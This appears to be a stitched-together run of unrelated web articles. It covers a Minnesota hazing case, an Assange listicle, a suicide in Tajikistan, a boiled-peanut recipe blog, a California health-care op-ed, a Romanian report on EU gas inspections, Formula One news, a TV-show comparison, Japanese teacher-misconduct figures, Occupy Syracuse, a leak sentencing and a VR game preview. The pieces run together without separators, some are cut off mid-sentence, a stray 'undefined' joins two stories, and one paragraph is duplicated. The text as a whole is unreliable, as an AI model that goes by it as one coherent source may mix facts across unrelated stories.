Previously, Kellen and a teen by the name of Connor Burns were accused of attacking at least six fellow students in July of 2012. Burns was sentenced to five years of probation in November of 2012, reported KARE 11, which called the criminal incidents a "hazing scandal."
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The criminal charges will be dropped if Kellen follows his probation rules, goes to anger management classes and gets counseling, said Todd County District Attorney Chuck Rasmussen.
Sources: Minneapolis Star-Tribune and KARE 11
undefinedWikiLeaks founder Julian Assange. (John Stillwell/AFP)
Julian Assange, founder of Wikileaks, is more loved, and more hated, than ever. And just who is doing the loving and the hating is more complicated than ever.
In his rise from libertarian hacker to global publisher, Assange pioneered a new kind of power, the power to disrupt the secrecy of the national security state. With the help of Chelsea Manning, the silver-haired Australian published the “Collateral Murder” video, which showed the world the reality of the war in Iraq, and the State Department cables, which showed the realities of American diplomacy. So a lot of people admired him.
Last week’s disclosure that Assange collaborated with Donald Trump Jr. during the 2016 presidential campaign has generated another blizzard of headlines—and a lot of confusion—about the world-famous transparency advocate.
Here’s what you need to know about Assange.
1. He’s sitting on a pile of Bitcoin.
The Daily Beast reports that Wikileaks “has received a total of 4,025 BTC through its public wallet address—roughly $29 million by current exchange rates.”
2. Assange was Twitter buddies with Donald Trump Jr. during the 2016 presidential campaign.
Wikileaks contacted Trump Jr. for the first time in September 2016 and continued reaching out in Twitter messages until at least July 2017, the Atlantic reported last week.
After receiving a private message from @Wikileaks, an account presumably controlled by Assange, Trump Jr. then emailed other senior officials from the Trump campaign such as Steve Bannon and Kellyanne Conway, as well as President Trump’s son-in-law Jared Kushner to notify them Wikileaks had reached out.
On Oct. 12, 2016, the Wikileaks account again messaged Trump Jr.
“Hey Donald, great to see you and your dad talking about our publications.” (At a rally on October 10, Donald Trump had proclaimed, “I love Wikileaks!”)
Nine days later, the voice of Wikileaks made an offer.
“Hey Don. We have an unusual idea,” Wikileaks wrote. “Leak us one or more of your father’s tax returns.”
The New York Times had already published a fragment of Trump’s tax returns on October 1.
“If we publish them it will dramatically improve the perception of our impartiality,” Assange’s account continued. “That means that the vast amount of stuff that we are publishing on Clinton will have much higher impact, because it won’t be perceived as coming from a ‘pro-Trump’ ‘pro-Russia’ source.”
Trump did not give his tax returns to Assange.
3. Jared Kushner’s newspaper loved him.
TheNew York Observer, a weekly newspaper owned by the president’s son-in-law, published a long-running series of laudatory articles about Assange in 2015 and 2016, replete with exclusive details.
Duly appreciative, Wikileaks tweeted some of the Observer’s coverage, including stories expressing doubt about the farfetched idea that the Russians might have meddled in the 2016 U.S. presidential election.
4. Sarah Palin is an Assange fan.
President Trump is not the only Wikileaks lover on the right.
Earlier this year, Sarah Palin, the one-time conservative darling marginalized by her dopey sound bites, her punch-drunk family and her bald-faced lies, fell hard for Assange. In a heartfelt Facebook post, Palin praised Assange’s anti-Clinton stance at Wikileaks and apologized for once criticizing him.
5. The investigation of Assange for alleged sexual misconduct has been discontinued.
Assange has not been charged with rape, as has often been reported. Two women in Sweden alleged that Assange had molested and coerced them in sexual encounters.
One charge was dropped because the statute of limitations ran out. Last May, Swedish authorities discontinued their investigation of the other charge, citing the difficulty in obtaining Assange’s testimony while he is holed up in the Ecuadorian Embassy in London.
6. Once admired on the left, Assange has alienated many former allies.
For a long time, the Intercept and Glenn Greenwald took the lead in defending Assange from his critics. No more. In a recent piece, Robert Mackey wrote “We Knew Julian Assange Hated Clinton. We Didn’t Know He Was Secretly Advising Trump.”
In the piece, investigative reporter Barrett Brown blasted Assange. He explained he had defended Wikileaks for releasing emails hacked from the Democratic National Committee, “because it was an appropriate thing for a transparency org to do.”
But in the messages with Trump Jr., he noted, Assange was “complaining about ‘slander’ of being pro-Trump IN THE ACTUAL COURSE OF COLLABORATING WITH TRUMP.”
“This latest revelation about the 2016 election has disappointed some people,” wrote TruthDig, which is an understatement. “Time will tell if Assange and Wikileaks can regain the public’s trust and be regarded as impartial publishers.”
7. Assange helped promote the bogus Seth Rich conspiracy theory.
In August 2016, Assange suggested during a television interview that his source for the DNC email might have been DNC staffer Seth Rich, who was murdered in Washington 12 days before Wikileaks began publishing.
“We have to understand how high the stakes are in the United States, and that our sources face serious risks,” he said.
Assange offered a cash reward for information leading to a conviction in the murder—a gesture that sent alt-right sleuths, convinced that Clinton had masterminded the killing, into a foolish frenzy. There was nothing to the story, except that it caused a lot of unnecessary pain for Rich’s grieving family.
Even Fox News retracted its conspiratorial allegations about Seth Rich. Assange did not.
8. Assange promised to turn himself in if Chelsea Manning was freed—then reneged.
If Obama grants Manning clemency Assange will agree to US extradition despite clear unconstitutionality of DoJ case https://t.co/MZU30SlfGK — WikiLeaks (@wikileaks) January 12, 2017
But when President Obama commuted the remainder of Manning’s sentence, Assange back-pedaled. He said he had only promised to surrender if Manning was pardoned “immediately” and several months had passed. Obama, he added, was just trying to “make life hard for him.”
9. Filmmaker Laura Poitras made two versions of ‘Risk,’ her documentary about Assange. The first version was admiring, the second disenchanted.
“What specifically bred Poitras’ distrust of Assange?” asked Slate. “The sex charges; the Russia connection; his blooming paranoia; the sense, gleaned from several in Assange’s entourage (we see it on the faces of his lawyers and advisers, as they try to debrief him on his legal and PR troubles) that he’s a narcissistic asshole. All of the above? “
10. Kate McKinnon plays him on Saturday Night Live.
In her latest skit, the comedian spoofs Assange as a boy playing spy games he barely understands. The chain-smoking Assange meets with Donald Trump Jr. (Mikey Day) and brother Eric Trump (Alex Moffat) in a darkened parking lot underneath the Ecuadorian Embassy. He wants to be a mastermind, but the Trumps are not impressed.
“You look like Draco Malfoy,” says Eric Trump.
“I’m not some dumb blonde you can take advantage of,” says Assange.A man in Tajikistan has been charged with driving his wife to commit suicide amid allegations he pressured her into taking virginity tests and then demanded a second bride after disbelieving the results.
Rajabbi Khurshed, 18, killed herself by drinking a lethal dose of vinegar 40 days after her wedding to 24-year-old Zafar Pirov, who she had never met before the arranged marriage.
Despite her passing a government-required prenuptial exam - including a virginity test - Pirov admits he took his bride for a further two tests, both of which she passed and both of which he did not believe, before casting her out.
Speaking to Radio Free Europe, Khurshed's family - who arranged the coupling - said their daughter told them on her deathbed that she had felt under massive pressure to accept Pirov's demands for a second wife and 'couldn't take it any longer'.
Rajabbi Khurshed, 18, pictured right, killed herself by drinking a lethal dose of vinegar 40 days after her wedding to 24-year-old Zafar Pirov, pictured left, who she had never met before the arranged marriage
Virginity tests for women before marriages are common in Tajikistan, where casual sex is deemed socially unacceptable. Pictured: Rajabbi Khurshed
Kurshed's mother Fazila Mirzoeva said her daughter, pictured, from the village of Chorbogh, had never had a boyfriend and had never had sex with anyone
But in his defence, Pirov said: 'My wife gave me a written statement that she allows me to get a second wife because she wasn't a virgin when we got married.'
Kurshed's mother Fazila Mirzoeva is so upset about her daughter's death - who she said is a victim of'slander and violence' - that she has pleaded to the country's president, Emomali Rahmon, for help.
She said Kurshed, from the village of Chorbogh, had never had a boyfriend and had never had sex with anyone before the marriage.
Pictured: Emomali Rahmon, the president of Tajikistan, who Kurshed's family have appealed to over the'slander and violence' their daughter experienced
The teen had dropped out of school to help care for her two disabled brothers, her mother added.
Pirov could be facing eight years in jail if found guilty of driving Kurshed to suicide.
Virginity tests for women before marriages are common in Tajikistan, where casual sex is deemed socially unacceptable.
As of 2015, it is compulsory for both men and women to undergo medical check-ups before a wedding, but for women this often includes a test of 'purity'.
Despite Kurshed passing this test and obtaining a doctor's certificate of her virginity - as well as passing the two other tests - Pirov continued to press his bride and demanded she reveal the 'truth'.
It was just weeks later that he made clear his desire to bring a second wife into the home.
There have been close to 600 court cases concerning virginity disputes in Tajikistan since 2014.Boiled peanuts. Oh, the memories they bring back of sitting around my grandmothers kitchen table with a large bowl of them in the middle of the table and a paper towel in front of me on which to put the empty shells. I would have the salty peanut juice running down my arms to my elbows, but stopping to clean myself up was not conceivable. The object was to crack the shells and shovel the soft peanuts into my mouth as fast as I could go. Everyone else at the table was doing the same thing and the unspoken rule was that everyone’s empty shell pile had to be the same size. Otherwise, it meant that you were eating more than your fair share and that was pretty much an invitation to leave the table until you could muster better manners.
I was shopping at a local Asian grocery store a couple of weeks ago and as I was browsing through the fresh vegetable area looking at all of the interesting fruits and vegetables, I spied what looked like green peanuts. No! Really? I snagged a bag of them and cradled them in my hands, inspecting. Then I held the mesh bag up to my nose and inhaled. Oh. My. Gosh. It was really and truly green peanuts and they were the prettiest ones I had ever seen; large and fat. What in the heck were they doing in an Asian market? I got all giddy with excitement; I was going to have boiled peanuts!!!!!!
Fresh, new, raw peanuts are referred to as “green peanuts“. The verbiage can be confusing because the peanuts are brown in color, not green. Green in this sense means fresh or new and not dried or seasoned or cooked, the same way freshly cut wood is referred to as being green…not that green peanuts taste anything like green wood; I was just trying to explain the use of the word green.
Once I left the South, I thought I’d never see a green peanut again. I had no idea that Asian markets sold peanuts in the Autumn. I did a little internet research and found that boiled peanuts are apparently common in Chinese culture, however the seasonings are different from those used in the American South. The most common seasoning in the South is salt. Just ordinary salt–no kosher salt, no sea salt, no pink Himalayan salt, no gray salt…now that I think about it, smoky salt might be nice sometime…naaaw…cost prohibitive.
The peanuts are cooked in one of two ways: boiled or pressure cooked. My grandmother always used a pressure cooker and so do I because it speeds up the process significantly. To tell you the truth, it’s Honey Buns who does the peanut cooking at our house. He’s not Southern, but after I introduced him to boiled peanuts a quadrillion years ago, he claimed all peanut cooking rights for himself.
Peanuts are members of the legume family, which is the same family as beans. It is difficult to describe the taste of a boiled peanut. To me, they taste a little like a cross between well-seasoned boiled new, red potatoes and perfectly salted pinto beans. The outside shells are generally firm, but much softer than dried, roasted peanuts. The peanut, itself, is soft and tender. Since they are cooked in salty water, they take on a salty taste which compliments their subtle sweet flavor. When my family and I eat them, we kind of glaze over and set ourselves into a crack and shovel rhythm until suddenly we look down and see that all of the peanuts are gone. It’s an immeasurably sad moment. Peanuts are members of the legume family, which is the same family as beans. It is difficult to describe the taste of a boiled peanut. To me, they taste a little like a cross between well-seasoned boiled new, red potatoes and perfectly salted pinto beans. The outside shells are generally firm, but much softer than dried, roasted peanuts. The peanut, itself, is soft and tender. Since they are cooked in salty water, they take on a salty taste which compliments their subtle sweet flavor. When my family and I eat them, we kind of glaze over and set ourselves into a crack and shovel rhythm until suddenly we look down and see that all of the peanuts are gone. It’s an immeasurably sad moment.
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In the past we have had to use raw, dried peanuts when we have made boiled peanuts. We soak them overnight in their shells, the same as with dried beans. The next day, Honey Buns pressure cooks them in salted water. Some people like their peanuts quite salty, but I prefer mine to be a little lower on the salt-o-meter. If you are lucky enough to have green peanuts, then skip the overnight soaking.
Boiled Peanuts
2-3 pounds raw, new peanuts (green peanuts)
2/3 cup salt
enough water to completely cover the peanuts
Instructions for pressure cooking green peanuts:
Wash green peanuts well in cool water. The shells hang on to a lot of dirt because peanuts grow underground. Trust me, you don’t want dirt in your cooking water. Place peanuts in a pressure cooker and add enough cool water to completely cover them. Stir in the salt then place the lid on the pressure cooker. Turn the heat on high and cook at 10 pounds of pressure for 45 minutes. If you are using a pressure cooker with a gauge, start timing after the indicator on the gauge reaches 10 pounds. If you are using a pressure cooker with a pressure regulator (jiggler), then start timing when the pressure regulator starts jiggling. You can lower the heat so that the pressure regulator only jiggles a few times per minute. At the end of the 45 minutes, turn off the heat and allow the pressure to drop of its own accord. If the peanuts are not soft enough or salty enough, leave the lid off of the pressure cooker and boil the peanuts until they are to your personal liking.
Instructions for using raw, dry peanuts:
Put peanuts in cooking pot and cover with cool water. Allow to soak overnight. The next day, drain off water and refill pot with enough fresh water to completely cover the peanuts. Add salt as above. Pressure cook for an hour at 10 pounds pressure. Turn off heat and allow the pressure of it own accord. Follow # 5 above.
UPDATE 11/12/15: For canning boiled peanuts, please visit this link from the National Center for Home Food Preservation.
The mother load from this batch of peanuts–a three seater.As the U.S. Senate rushes to enact secret legislation that could rip away health coverage for millions, with a bill whose only public version even President Donald Trump branded as “mean,” in California we have an antidote that would protect us all.
While the House version of the American Health Care Act would end health coverage for 14 million next year alone, the Healthy California Act, SB 562, would guarantee coverage for every Californian.
While even the Senate version of the AHCA would, according to reports, allow insurers to screen out millions more, the Healthy California Act would assure all Californians the medical, dental, vision, mental health and long term care that is essential to one’s health.
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Study: New taxes could fund universal California health care While the AHCA would punish the sickest among us with thousands of dollars more in charges and increase premiums for older Americans not yet Medicare age, the Healthy California Act would end the burden of skyrocketing costs that force so many to skip needed care.
While the AHCA does nothing to protect those subject to restrictive insurance networks, limited access to specialists and unexpected hidden charges from doctors or labs a patient often doesn’t even see, the Healthy California Act provides real patient choice. One medical card, good anywhere, for any the doctor’s office, hospital, or clinic.
We can transform a broken health care system, built on ability to pay, not patient need and create a model that will make us all proud.
A dream? No, it’s legislation. SB 562, co-authored by Sen. Toni Atkins and Sen. Ricardo Lara, has already passed the California Senate and will soon be acted on by the Assembly. It has broad and growing support from nurses, doctors, dozens of healthcare and community organizations.
And, contrary to the fear-mongering and deceptions peddled by the profiteering insurance giants, virtually every California household and business will actually spend less on health care costs.
Insurers are already whipping up a campaign of whoppers, that SB 562 will cost $400 billion. Not true. Most of that is what we already spend on health care in California, 71 percent of it through taxpayer funded Medicare, Medicaid and subsidies to insurers.
As a major University of Massachusetts research study documents, more than $70 billion of current spending would be saved. How? By reducing the colossal administrative waste by insurance corporations on billing, profits, executive pay packages, inflated drug and hospital charges, coupled with a far more efficient system of coordinated primary and preventive care.
Additional funding — to provide real health security for the nearly 15 million Californians who are uninsured or drowning with unpayable medical bills – could come by two simple revenue streams.
As outlined by the UMass researchers, a modest 2.3 percent gross receipts tax for SB 562 that exempts the first $2 million in revenue would slash what businesses with less than 10 employees pay now for health benefits by 22 percent, and even large companies with up to 500 workers would spend 6 percent less on health care.
A 2.3 percent sales tax that exempts spending on housing, utilities, groceries and multiple personal savings would cut what most families now spend on health care costs by up to 9 percent, effectively a 9 percent raise.
Ultimately California faces a moral choice. Should we accept the status quo and abandon tens of millions of our neighbors to suffer? Or can we take the bold step and show we can act like a caring people who solve our deepest problems and demonstrate what Dr. Martin Luther King, Jr. imagined of a “beloved community” based on justice, equality and love of all humans.
Rose Ann DeMoro is executive director of the California Nurses Association and National Nurses United.Context:
Inspectori ai Directiei General Competitie, o structura a Comisiei Europene, fac in aceste zile o investigatie in Romania la trei mari companii din domeniul gazelor naturale - Romgaz, Transgaz si Petrom, au declarat pentru HotNews.ro surse din domeniul energetic. Verificarile ar avea legatura cu o posibila actiune de impiedicare a exportului de gaze naturale.1. Romgaz confirma actiunea de control. "Confirmam actiunea de control. Aceasta se afla in curs de desfasurare, prin urmare nu putem face comentarii cu privire la motiv", a precizat Romgaz pentru HotNews.ro.Comisia Europeana a confirmat intr-un comunicat "inspectii neanuntate" in sectorul gazelor naturale la cateva companii din Romania, active in sectorul furnizarii si transportului de gaze.Si Transgaz confirma actiunea DG Competition. "In data de 6 iunie 2016, la sediul central al SNTGN Transgaz SA din Medias, la Reprezentanta Bucuresti precum si la Departamentul Accesare Fonduri Europene si Relatii Internationale s-au prezentat inspectori ai Comisiei Europene- Directia Generala Concurenta si ai Consiliului Concurentei din Romania. Inspectia se desfasoara in temeiul art.20, alin.4 din Regulamentul ( CE) nr 1/2003 al Consiliului Uniunii Europene privind punerea in aplicare a normelor de concurenta prevazute la art. 81 si 82 din Tratatul CE - art. 101 si respectiv 102 din Tratatul privind functionarea Uniunii Europene. SNTGN Transgaz SA acorda sprijinul reprezentantilor Comisiei Europene - Directia Generala Concurenta si ai Consiliului Concurentei prin punerea la dispozitie a tuturor documentelor si informatiilor solicitate", transmite Transgaz.Petrom anunta ca, la ora actuala, coopereaza cu Comisia Europeană in cadrul unei inspectii referitoare la potentiale practici pe piata de gaze naturale din Romania, care ar viza impiedicarea exportului de gaze."OMV Petrom coopereaza cu Comisia Europeană in cadrul unei inspectii referitoare la potentiale practici pe piata de gaze naturale din Romania, care ar viza impiedicarea exportului de gaze. Deoarece este o acţiune în derulare nu putem oferi mai multe detalii la acest moment", transmite OMV Petrom.Verificarile au inceput ieri la Transgaz si au continuat lla celelalte companii vizate. Potrivit surselor citate, inspectorii DG Competition ar fi preluat accesul la computerele unor angajati din companiile mentionate. Potrivit surselor citate, ar fi o actiune fara precedent in Romania din partea DG Competition.Comisia Europeana a confirmat intr-un comunicat "inspectii neanuntate" in sectorul gazelor naturale la cateva companii din Romania, active in sectorul furnizarii si transportului de gaze."Comisia este ingrijorata ca firmele implicate ar fi incalcat legislatia europeana antitrust care interzice cartelizarea si practicile care restrictioneaza afacerile, precum si abuz |
At present we have a really good relationship with Ferrari and they are extremely helpful, but we have got flexibility on where to go from here."
A switch to Mercedes would be unlikely, as it already supplies four teams, but Renault could be open to another deal it is currently only has two partners.
Restructuring a sign of intent
Although Manor's presence on the grid this year was in doubt until the eve of the campaign, it has made progress since then.
As well as ensuring its car can now comfortably qualify, it has boosted its backroom staff with a number of strong signings, including former Mercedes technical director Bob Bell.
Lowdon says that it is all part of a serious long-term vision to move the team up the grid.
"We've got a plan and a strategy for the team and as a business that makes commercial and financial sense – plus in the sporting sense as well," he said.
"We think there's a right size and shape for our sort of business and that's what we are rebuilding towards.
"Hopefully, there will be more milestones to come as we get to the size we want to be."The 100 is to Game of Thrones what Fallout is to Skyrim. If you like one, you’ll probably enjoy the other.
Now that Game of Thrones season 7 is over, you’ll see lists all over the internet suggesting shows to fill the void, including here, here, here and here.
Popping up on many of these lists is a little post-apocalyptic sci-fi drama named The 100, ostensibly a David next to such Goliaths as The Walking Dead and Outlander, but — I would argue — the best of the lot to actually scratch your Game of Thrones-specific itch.
Related: 19 things we learned about The 100 season 5 at SDCC 2017
As a fan of both shows, I can certainly acknowledge their different scopes (and budgets). But when it comes to well-written, action-packed stories with compelling characters and sky-high stakes, I believe the two series are practically neck-and-neck; The 100 and Game of Thrones are two of my absolute favorite shows airing on television right now, and any Game of Thrones fans hesitant about checking out a ‘smaller’ show like The 100 might benefit from reading more about how the two series compare.
The 100 airs on The CW network in the United States and on E4 in the U.K., and all four seasons are available to stream on Netflix.
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Strikingly relevant to the current state of the world, The 100 takes place 97 years after a nuclear apocalypse has wiped out most life on Earth. In space, descendants of the original survivors realize that they’re running out of air, and have no choice but to return to the surface 100 years ahead of schedule. They soon find, however, that the ground is already inhabited by so-called ‘Grounders’ whose ancestors never left the planet behind.
What follows is a gruesome, gritty battle for the survival of the human species with no clear ‘good’ and ‘bad’ side. Multi-layered conflicts and power struggles play out between the various factions of Grounders, Skypeople and ‘others,’ as well as between family members and former friends and lovers as alliances shift and change. Instead of playing for a throne, the characters of The 100 are battling for the ground itself, struggling to hold onto their humanity as the choices they have to make become more and more impossible.
At first glance a Lord of the Flies-inspired ‘teen show’ about young criminals enjoying their newfound independence on a seemingly abandoned Earth, fans of Game of Thrones might be forgiven for giving it a cursory glance and a pass, especially because the pilot episode — while intriguing — is far from reflective of the quality and tone of the series as a whole.
The show takes a few episodes to find its footing: not until episodes 4-5 will viewers begin to truly understand the scope and emotional devastation that the show is capable of, but once it hits you, it really hits you. Safe to say that The 100 has more than one Ned Stark-esque twist, and several symbolic Red Weddings over the course of its four seasons.
As Game of Thrones fans know, however, gore and death means nothing if the story is not grounded in complex, engaging characters that mature and harden before our eyes. Where Game of Thrones has such unforgettable players as Daenerys Targaryen, Jon Snow, Jaime Lannister, Sansa Stark, Arya Stark and Theon Greyjoy, The 100 has Clarke Griffin, Octavia Blake, Bellamy Blake, Abby Griffin, Raven Reyes and John Murphy (to mention only a few).
Each character is the hero of his or her own story, and each character believes that the means justify their respective ends.
The influences of Lost and Battlestar Galactica should be immediately evident at the start of the series, but the more you watch, the more Thrones DNA you’ll find mixed in there, too.
There are differences, of course. The stigma surrounding network TV means that The 100 isn’t afforded the attention and scope of similar cable and streaming series (and even there, Game of Thrones is in a league of its own!), and the CW series isn’t drawing on thousands of pages of pre-existing source material, having to make up the story as it goes along (although the two shows do employ the same language creator to build ‘real’ made-up languages for their characters to speak).
Game of Thrones builds on its own eons-old mythology, and focuses mainly on older characters more weary of the world; The 100 is all-around smaller, younger, wilder and more frantic, although the traumas pile up equally quickly for both sets of characters, and the latter series is expanding its world and building its mythology at a rapid rate to catch up. The 100 also manages to be intensely dark, bloody and devastating in a way that definitely doesn’t feel CW-esque, the characters and world becoming less glossy and more beat-up, bloody and broken episode by episode.
There are no dragons in The 100, nor prophecies and destinies. But what it lacks in magic, The 100 makes up for in humanity, with a markedly diverse cast of characters.
Sexuality, race and gender are presented as non-issues in this world, for better or worse: in the words of Arya Stark, “anyone can be killed” and many are, frequently too soon and without warning. Like Game of Thrones, The 100 has had its share of controversies, going too far in its brutality and perpetuating tropes that permeate the media landscape at large. It has faced deserved backlash, and gone back to the drawing board, improving and striving to be better, bigger, and more valuable to contemporary viewers.
And just as anyone can die on The 100, anyone can also live, as equals on the bloodied, radioactive playing field. Some characters rise to prominence while others fall — the tide is ever-shifting, and unlike in Game of Thrones, plot moves quickly on The 100 from day 1.
Non-white straight males are afforded an unquestioned power and agency in this narrative that isn’t possible in a show like Game of Thrones, which is to a certain degree shaped by the same prejudices of our current reality. The 100, having done away with society as we know it and most of the prejudices that came with it, has no such limitations.
In fact, heading into season 5, The 100 only has one white straight male left standing, which is pretty extraordinary for any genre series. There are several characters on the LGBTQ+ spectrum, persons of color in leading roles and a commitment to subverting the ‘strong female character’ trope unlike what you’ll find on most other shows of its kind. Is there room for improvement? Absolutely. Always. But what The 100 does well, it does really, really well.
One thing you want from your sci-fi and fantasy is believability — the more outlandish the world, the more acutely realistic do the characters’ emotional inner worlds need to be. And, like Game of Thrones, The 100 combines excellent, cutting writing with a brilliant cast, seemingly hand-picked for future stardom, fully embodying and realizing the characters that carry the story.
Between Lindsey Morgan’s Raven, Richard Harmon’s Murphy, Paige Turco’s Abby, Eliza Taylor’s Clarke, Bob Morley’s Bellamy, Chris Larkin’s Monty, Devon Bostick’s Jasper, Henry Ian Cusick’s Kane and many, many others, The 100 populates its world with empathetic, well-rounded characters — and that’s not even mentioning the wealth of recurring cast members like Alycia Debnam-Carey, Dichen Lachman, Michael Beach, Adina Porter, Luisa D’Oliveira and Sachin Sahel, all of whom give it their absolute all regardless of how much screen time they are afforded.
Like Game of Thrones, The 100 constructs a fantastical world you believe could be real — set in the future rather than the past, with a smaller budget and beholden to more network restrictions (though fewer than you might assume) — but no less gritty, painful, hopeful, and harrowing to watch. The cinematography and music gets better and better each season, to the point where the aesthetics match pretty closely to something you might see in Westeros (the season 4 episode “Die All, Die Merrily” stands out as particularly spectacular).
You will come to care about characters that are violently ripped away from you, you will watch friendships and relationships crumble and break, you will watch broken humans pick themselves up from devastation and find a way to carry on, and you will cheer in the carefully doled-out moments of true hope and happiness that the series provides.
We’ve got more than a year to wait until Game of Thrones returns, and there’s plenty of time to binge a variety of shows and, hopefully, find one that you like almost as much. I suggest you start with The 100, a hidden gem of a sci-fi drama that deserves much more attention than it’s getting.
The 100 seasons 1-4 is on Netflix now, and the series returns in early 2018.A record number of 226 public schoolteachers and other teaching staffers were disciplined for sexual misconduct including molestation and harassment in fiscal 2016, with 129 of them being fired, another record.
The education ministry has failed to halt the upward spiral in cases despite condemning such sexual misdeeds as “absolutely unforgivable for teachers” and calling for tough disciplinary action.
The abuse included “touching of body” by 89, “sexual intercourse” by 44 and “secret photography or peeping” by 40.
The ministry published the statistics Dec. 27 as part of a wider survey on human resources at public schools.
Of the 226 teachers disciplined for sexual misconduct, mainly those of elementary, junior and senior high schools, 223 were male and three were female. The number was up by two from fiscal 2015.
Of the 226 victims, 109 were students in the schools the teachers worked at. Thirty-eight of those abused were colleagues.
In some cases, dismissed teachers reoffended after being employed by a school in another region.
The ministry is planning to establish an online database of those who were dismissed in disgrace to allow local education boards to better vet prospective employees.
It is also discussing the possibility of sharing information on disciplined teachers using the existing teacher’s license management system. It has included 23 million yen ($202,000) in the draft budget for fiscal 2018 to set up a working group on the proposal.
The survey also revealed that 28 teachers were disciplined for inadequate handling of bullying cases between students.
There were 920,058 public school teachers in employment in fiscal 2016.View full size
Syracuse, NY – The Occupy Wall Street movement that began in New York City has spread to other cities across the country including Syracuse.
Since Sunday afternoon from three to 10 people have occupied a small encampment in Perseverance Park on South Salina Street near the main Centro bus stop. The group has a Facebook page called Occupy Syracuse.
The movement encompasses people representing many different organizations, from those that support Ron Paul’s candidacy for president to the Answer Coalition, said Scott McGroty, 36, of Oswego, this morning.
“We’re trying to do our part to show solidarity for those occupying Wall Street,” he said. McGroty wore polarized sunglasses, a winter hat with flaps and gloves as he sat in a lawn chair under a blue tarp.
“We’ve got to fight back against the attack on working people and poor people,” said Derek Ford, 26, of Syracuse, from the Answer Coalition—Act Now to Stop War and End Racism.
The three-week old Occupy Wall Street movement calls itself a leaderless movement of people of many political persuasions that will no longer tolerate greed and corruption. The protest has been centered in Manhattan. It made news this weekend when about 700 people were arrested in a march across the Brooklyn Bridge.
The Syracuse movement chose to camp on Salina Street because it is in the center of what could be called the city’s financial district, McGroty said.
Stockbroker Merrill Lynch is across the street from the encampment. Chase Bank is behind. The Bank of America is about a block to the north on Salina Street and Citizens Bank is a block away.
The entourage this morning included McGroty, Ford and Ron Paul supporter Phil Muka, 24, of Cortland. A man who said he was homeless and called himself Ithrem the Psychedelic Cowboy also sat in a chair under the tarp.
A small propane stove was on a table in front of them, and a small domed tent was nearby.
Members of the grassroots movement have vowed to stay at the encampment as long as it takes the country to change its policies, McGroty said.Stephen Kim, a former State Department expert on North Korea, leaves federal court in Washington on Wednesday after being sentenced. (Cliff Owen/AP)
A former State Department arms expert who leaked classified information to a Fox News reporter was sentenced Wednesday to 13 months in prison after a pointed courtroom debate about the Obama administration’s aggressive pursuit of unauthorized disclosures of top-secret information.
Stephen Jin-Woo Kim pleaded guilty in February to sharing classified information from an intelligence report on North Korea with reporter James Rosen, Fox’s chief Washington correspondent. Rosen was also targeted in the investigation by federal agents, who described him as a possible “co-
conspirator” in a bid to search his personal e-mails.
Criticism of the law enforcement tactics used in Kim’s case — and in another investigation involving the extensive collection of phone records of Associated Press journalists — led the Justice Department to revise its policies last summer for pursuing leaks of classified information to reporters.
The plea deal Kim signed in February called for a sentence of 13 months, and the length of his prison term was not in dispute ahead of the hearing Wednesday. But prosecutors and Kim’s legal team disagreed in court filings about the potential damage to U.S. national security from his disclosure.
Prosecutors said in court papers that Kim, a former senior intelligence adviser working on contract, “betrayed the trust of his country and placed our nation’s security at risk” by indirectly alerting North Korea to what U.S. intelligence officials “knew or did not know about its military capabilities and preparedness.”
Abbe D. Lowell, Kim’s attorney, said that his client “made a decision to cross a line” and that he “should have known better.” But Lowell added that Kim, who was born in South Korea, was motivated by a desire to bring more public attention to the threat posed by North Korea’s nuclear program.
The leak investigation was prompted by a Fox News report in June 2009 that said U.S. intelligence officials were warning that North Korea was likely to respond to a new round of sanctions by the United Nations with more nuclear tests. The report noted that the CIA warning was based on information from sources inside North Korea.
Rosen’s story was published online hours after a top-secret report was released to a restricted group of people within the intelligence community that included Kim.
Rosen did not respond to a request for comment Wednesday, and a company spokesman said Fox News would not comment.
The sentencing hearing turned into a somewhat heated discussion about the administration’s use of the Espionage Act to prosecute unauthorized government leaks. Under President Obama, the Justice Department has pursued more leak cases than all previous administrations combined.
Kim’s attorneys argued that their client’s limited disclosure was distinct from the troves of classified information released by Edward Snowden, a former National Security Agency contractor, and the State Department and military documents that former Army intelligence analyst Chelsea Manning, previously known as Bradley Manning, released to WikiLeaks. Kim was not a whistleblower with a political agenda who stole documents, his attorneys said.
Kim’s attorneys also called the Espionage Act a “blunt tool” meant for going after spies and suggested that prosecutors had unfairly targeted a relatively low-
level official for having a routine conversation with a reporter.
“His illegal conduct consisted solely of talking to a member of the news media with whom others in his office spoke as well,” the lawyers said.
“Government officials at every level speak with news reporters on a daily basis in Washington... [M]any of those conversations include the disclosure of classified information,” the lawyers said. “Yet few, if any, of those officials have paid the price that Mr. Kim has paid for a single conversation with a reporter.”
Assistant U.S. Attorney G. Michael Harvey said that the “everyone-does-it argument” was no excuse and that the law did not make a distinction between handing over documents or orally communicating top-secret information, as Kim did with Rosen.
Kim, Harvey said, “was motivated not by an altruistic purpose but by his own ego and desire for professional advancement.”
Before formally accepting the agreed-upon sentence of 13 months — far less than the maximum possible 10 years — U.S. District Judge Colleen Kollar-
Kotelly said Kim “did lose his moral compass” and had jeopardized his foreign policy career.
Standing at the courtroom lectern, Kim, 46, did not elaborate on his conduct. He called the past three years of pretrial litigation “extremely difficult” — both personally and financially — and said he is “dedicated to rebuilding my life” and starting over when released from prison.19 days to go until the launch of PlayStation VR! We’re counting down to the release of Sony’s VR headset on October 13th by highlighting one game a day for its anticipated release. Today we’re picking up the cyber paddle to take a look at HoloBall by TreeFortress Games.
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VR makes the simple things in life more fun than they should be. For example, the act of driving a car is going to be incredibly immersive and fun, even if you don’t like racing sims, when playing a game like DriveClub VR. Flying around a city as an eagle, or just talking to a fortune teller, is all more exciting when you’re inside a virtual reality headset. Bouncing a ball back and forth is no different.
HoloBall is already available on the HTC Vive and it quickly became one of the standout titles when it originally released. In this sci-fi rendition of Ping Pong, or even more aptly, Pong, you’ll bounce a cyber ball back and forth against an AI opponent using a paddle in each of your hands. It’s one of the most active games, as you’ll have to stretch and move from side to side to keep up with the increasingly difficult computer.
HoloBall sports a rocking 80s retro-futuristic soundtrack that feels ripped right out of a film like Tron, which compliments the neon visuals quite nicely. There isn’t online multiplayer — yet — but it’s something the developer is actively working on to include in both the Vive and PS VR versions of the game. Instead, you can play an asynchronous multiplayer mode that tasks one non-VR player with controlling the enemy paddle.
We talked to the game’s developer, Shawn Blais, over email prior to this article and he confirmed that he’s, “been working on the PS VR version for a few months now, and fully expect to be out at launch,” which is great news for fans of Sony’s upcoming headset.
Get your PS Move wands ready to get some exercise and have some fun when HoloBall releases for PS VR next month in October around the launch window.
50 DAYS OF PS VR COUNTDOWN
